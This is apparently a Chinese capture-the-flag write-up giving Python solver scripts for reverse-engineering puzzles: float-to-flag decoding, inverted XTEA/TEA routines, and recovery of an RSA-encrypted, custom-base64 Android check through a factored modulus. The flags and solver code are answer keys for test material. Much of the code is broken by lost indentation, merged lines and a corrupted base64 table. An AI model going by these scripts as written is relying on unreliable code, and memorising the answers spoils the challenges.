0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,\
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,\
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,\
0.00008468431512187874]
aa = [round(e/i) for i in a]
def f(n):
b = bin(n)[2:].zfill(16)
return chr(int(b[8:],2))+chr(int(b[:8],2))
#是后半段+前半段,要反过来
print(''.join(f(i) for i in aa))
#===============输出========================
#hlcg}scao_fio_iek_nek_lao_eac_uip_nac}
很明显有flag的形式了,但是需要调整。
前缀“ flag{ ”与输出“ hlcg} ”,观察得到,是每两个字符的前一个字符,对应ASCII码+2即可。
于是修改函数的返回值
def f(n):
b = bin(n)[2:].zfill(16)
return chr(int(b[8:],2)-2)+chr(int(b[:8],2))
#这里减2
得到输出
flag{saam_dim_gei_lei_jam_caa_sin_laa}
import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
div = 2.718281828459045
def c(n):
t_int = int(div // n)
print(hex(t_int))
if abs(t_int * n - div) < abs((t_int - 1) * n - div):
t_int -=1
t_hex = hex(t_int)[2:]
t_chr = codecs.decode(t_hex,'hex')
return t_chr[::-1].decode()for i in t:
print(c(i),end='n')
def xt_dec(num, enc, k):
value0 = enc[0]
value1 = enc[1]
data = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])
value1 &= 0xffffffff
sum += data
value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])
value0 &= 0xffffffff
return (value0, value1)
def t_dec(enc, k):
value0 = enc[0]
value1 = enc[1]
sum = 0xa6a53780
data = 0x3D3529BC
for i in range(32):
value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])
value1 &= 0xffffffff
value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])
value0 &= 0xffffffff
sum -= data
return (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
encode[i] ^= 0xfd
encode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):
encode[i] ^= 0x3fd
encode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):
a = xt_dec(32, encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):
a = t_dec(encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")
题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:
v3 = env;
v4 = 0;
v20 = a3;
v5 = (*env)->GetStringUTFChars(env, a3, 0);
v6 = strlen(v5);
v8 = malloc(2 * v6 + 4);
v9 = v8;
while ( v6 != v4 )
{
hex_byte_52318(v9, -1, v7, v5[v4]);
v9 += 2;
++v4;
}
ctx = BN_CTX_new_5235C();
BN_CTX_start_5249C(ctx);
bn_m = BN_CTX_get_5264C(ctx);
BN_set_5BB08(&bn_m, v8);
free(v8);
bn_N = BN_CTX_get_5264C(ctx);
bn_e = BN_CTX_get_5264C(ctx);
_aeabi_memcpy8(temp, byte_2C6B0, 0xD1);
for ( i = 0; i != 0xD1; ++i )
temp[i] ^= 0x3Du;
BN_set_5BB08(&bn_N, temp);
_aeabi_memclr8(temp, 209);
v12 = 0;
v21 = 0;
v22 = 0;
while ( v12 != 6 )
*(&v21 + v12++) ^= 0x30u;
++BYTE1(v21);
++BYTE1(v22);
BN_set_5BB08(&bn_e, &v21);
v21 = 0;
v22 = 0;
bn_c = BN_CTX_get_5264C(ctx);
BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);
v14 = sub_565A8(bn_c);
v15 = malloc((v14 + 7) / 8);
v16 = sub_56EB8(bn_c, v15);
BN_CTX_end_525B8(ctx);
BN_CTX_free_523E8(ctx);
v17 = calloc(3u, v16);
base64_52044(v15, v17, v16, 0);
free(v15);
v18 = strcmp(
"bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
"+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
v17);
free(v17);
(*v3)->ReleaseStringUTFChars(v3, v20, v5);
result = _stack_chk_guard;
if ( _stack_chk_guard == v27 )
result = v18;
return result;
静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:
# -*- coding:utf-8 -*-
import base64
import gmpy2
import string,itertoolst1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;[email protected]'
t2 = string.uppercase+string.lowercase+string.digits+'+/'
def main():
# a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79,
# 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A,
# 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F,
# 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E,
# 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C,
# 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78,
# 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E,
# 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F,
# 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79,
# 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78,
# 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B,
# 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04,
# 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E,
# 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D,
# 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B,
# 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A,
# 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08,
# 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78,
# 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B,
# 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E,
# 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]
# b = map(lambda x:chr(x^0x3d),a)
# print(''.join(b))
n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert(n==p*q)
e = 0x10001
s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
t = string.maketrans(t1,t2)
ite1 = itertools.product('+1',repeat=10)
idx1 = [6,25,26,45,77,110,123,126,130,133]
idx2 = [22,43,59,74]
for it1 in ite1:
ite2 = itertools.product('-2',repeat=4)
for it2 in ite2:
l = list(s)
for i in range(10):
l[idx1[i]] = it1[i]
for i in range(4):
l[idx2[i]] = it2[i]
c = string.translate(''.join(l),t)
d = gmpy2.invert(e,(p-1)*(q-1))
tmp = base64.b64decode(c).encode('hex')
tmp = int(tmp,16)
m = gmpy2.powmod(tmp,d,n)
tmp = hex(m)[2:].replace('L','')
if len(tmp) % 2 != 0:
tmp = '0'+tmp
if len(hex(m)) < 100:
print(c,hex(m)[2:].replace('L','').decode('hex'))
exit()if __name__ == '__main__':
main()
参考文献:
https://www.anquanke.com/post/id/244824#h3-13
https://blog.csdn.net/weixin_39190897/article/details/118066125